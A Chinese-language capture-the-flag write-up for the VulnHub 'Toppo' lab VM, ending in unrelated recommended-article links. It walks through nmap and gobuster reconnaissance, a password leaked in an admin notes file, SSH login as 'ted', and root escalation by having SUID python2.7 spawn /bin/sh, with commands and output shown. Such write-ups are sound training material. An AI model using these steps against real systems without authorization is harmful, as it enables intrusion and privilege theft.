vulnhub(7):Toppo(经典的suid滥用提权)

端口

nmap主机发现
复制代码
nmap -sn 192.168.6.0/24
​
Nmap scan report for 192.168.6.34
Host is up (0.00020s latency).
​
34是新出现的机器,他就是靶机
nmap端口扫描
复制代码
nmap -Pn 192.168.6.34 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
48230/tcp open  unknown
 
​
​
发现开放3个端口
复制代码
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.6.34详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
PORT      STATE SERVICE VERSION                                                                      │
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)                                 │
| ssh-hostkey:                                                                                       │
|   1024 ec61979f4dcb759959d4c1c4d43ed9dc (DSA)                                                      │
|   2048 8999c4549a1866f7cd8eabb6aa312ec6 (RSA)                                                      │
|   256 60bedd8f1ad7a3f3fe21cc2f11307b0d (ECDSA)                                                     │
|_  256 39d97926603d6ca21e8b1971c0e25e5f (ED25519)                                                   │
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))                                               │
|_http-server-header: Apache/2.4.10 (Debian)                                                         │
|_http-title: Clean Blog - Start Bootstrap Theme                                                     │
111/tcp   open  rpcbind 2-4 (RPC #100000)                                                            │
| rpcinfo:                                                                                           │
|   program version    port/proto  service                                                           │
|   100000  2,3,4        111/tcp   rpcbind                                                           │
|   100000  2,3,4        111/udp   rpcbind                                                           │
|   100000  3,4          111/tcp6  rpcbind                                                           │
|   100000  3,4          111/udp6  rpcbind                                                           │
|   100024  1          48230/tcp   status                                                            │
|   100024  1          49352/udp   status                                                            │
|   100024  1          52407/udp6  status                                                            │
|_  100024  1          56532/tcp6  status 
​
分析:
22端口开放
80端口http服务
111 rpcbind

立足

80端口
复制代码
一个博客网站,整个网站除了contact 界面,没有任何交互的地方,因此没有任何漏洞
​
尝试敏感信息收集
复制代码
gobuster dir -u http://192.168.100.34/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash 
​
/.php/                (Status: 403) [Size: 294]                                                      
/.html/               (Status: 403) [Size: 295]                                                      
/img/                 (Status: 200) [Size: 1775]                                                     
/icons/               (Status: 403) [Size: 295]                                                      
/mail/                (Status: 200) [Size: 948]                                                      
/admin/               (Status: 200) [Size: 937]                                                      
/css/                 (Status: 200) [Size: 1157]                                                     
/manual/              (Status: 200) [Size: 626]                                                      
/js/                  (Status: 200) [Size: 2045]                                                     
/vendor/              (Status: 200) [Size: 1343]
/.php/                (Status: 403) [Size: 294]                                                      
/.html/               (Status: 403) [Size: 295]                                                      
/server-status/       (Status: 403) [Size: 303]
​
分析:
mail和admin页面最有可能出现敏感信息,先看最敏感的

mail页面

复制代码
mail页面是个文件目录,下面只有一个php文件:
contact_me.php
​
wget http://192.168.100.34/mail/contact_me.php
发现contact_me.php文件没有php代码,只有一行字符串:No arguments Provided!

admin页面

复制代码
admin页面是个文件目录,下面只有一个txt页面:
notes.txt
​
打开发现这样信息:
Note to myself :
I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .
​
从中我们获取密码12345ted123
获取密码后的思路
复制代码
获取密码后,首先要想到获取用户名
获取用户名之后要想到要与服务器有交互,但是我们之前说过整个80端口除了contact 界面就没有任何交互,contact是发送邮箱的界面,尝试扫描不存在漏洞,也没有密码的交互,只能排除
​
所以如果获取到用户名列表和密码列表,唯一的操作只能是ssh爆破,我们现在唯一的问题就是获取一个用户名列表,并与我们收集到的密码匹配
收集用户名
复制代码
靶机名称:Toppo
常用用户名:admin、root
从密码(12345ted123)中收集到的可能是用户的字符串:ted
尝试登陆ssh
复制代码
用户名不多,手动尝试即可,发现
用户:ted
密码:12345ted123
可以登录ssh

提权

信息枚举
复制代码
sudo -l:无此命令
cat /etc/passwd:没有新的信息
cat /etc/crontab:没有计划任务脚本
find / -type f -perm -u=s 2>/dev/null:
​
/sbin/mount.nfs
/usr/sbin/exim4
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/python2.7
/usr/bin/chsh
/usr/bin/at
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/passwd
/bin/su
/bin/umount
/bin/mount
​
*有一个可能是管理员设置的/usr/bin/procmail,还有一个非常敏感的/usr/bin/python2.7
​
/usr/bin/procmail 运行没有回显,不管他
/usr/bin/python2.7 是最有可能提权的,基本上板上钉钉了
suid滥用提权
复制代码
运行suid的程序时,这个程序的进程euid是创建者的用户id,且按照euid的权限执行进程代码,这意味着我们如果这个程序能调用/bin/sh,他的权限将会按照euid的身份新起一个拥有euid权限的会话shell
​
注:但是调用/bin/bash将不会提权,因为/bin/bash在启动后,首先判断euid和ruid是否相同,如果不相同,他会利用权限更低的ruid(如果ruid的权限比euid低),自动进行降权处理
​
ruid:真实用户ID表示发起该进程的用户。
euid:称为有效用户 ID,它表示系统用来确定进程权限的用户身份。
复制代码
使用bash,会被自动降权处理
python -c 'import os;os.system("/bin/bash")'
bash-4.3$ cd /root
/root: Permission denied
​
使用sh,按照euid进行
python -c 'import os;os.system("/bin/sh")'
直接拿到root的flag: 0wnedlab{p4ssi0n_c0me_with_pract1ce}
相关推荐
无所谓จุ๊บ19 分钟前
树莓派开发相关知识十 -小试服务器
服务器·网络·树莓派
TeYiToKu24 分钟前
笔记整理—linux驱动开发部分(9)framebuffer驱动框架
linux·c语言·arm开发·驱动开发·笔记·嵌入式硬件·arm
dsywws26 分钟前
Linux学习笔记之时间日期和查找和解压缩指令
linux·笔记·学习
道法自然040227 分钟前
Ethernet 系列(8)-- 基础学习::ARP
网络·学习·智能路由器
yeyuningzi35 分钟前
Debian 12环境里部署nginx步骤记录
linux·运维·服务器
上辈子杀猪这辈子学IT1 小时前
【Zookeeper集群搭建】安装zookeeper、zookeeper集群配置、zookeeper启动与关闭、zookeeper的shell命令操作
linux·hadoop·zookeeper·centos·debian
minihuabei1 小时前
linux centos 安装redis
linux·redis·centos
EasyCVR1 小时前
萤石设备视频接入平台EasyCVR多品牌摄像机视频平台海康ehome平台(ISUP)接入EasyCVR不在线如何排查?
运维·服务器·网络·人工智能·ffmpeg·音视频
lldhsds2 小时前
书生大模型实战营第四期-入门岛-1. Linux前置基础
linux
明月看潮生2 小时前
青少年编程与数学 02-003 Go语言网络编程 15课题、Go语言URL编程
开发语言·网络·青少年编程·golang·编程与数学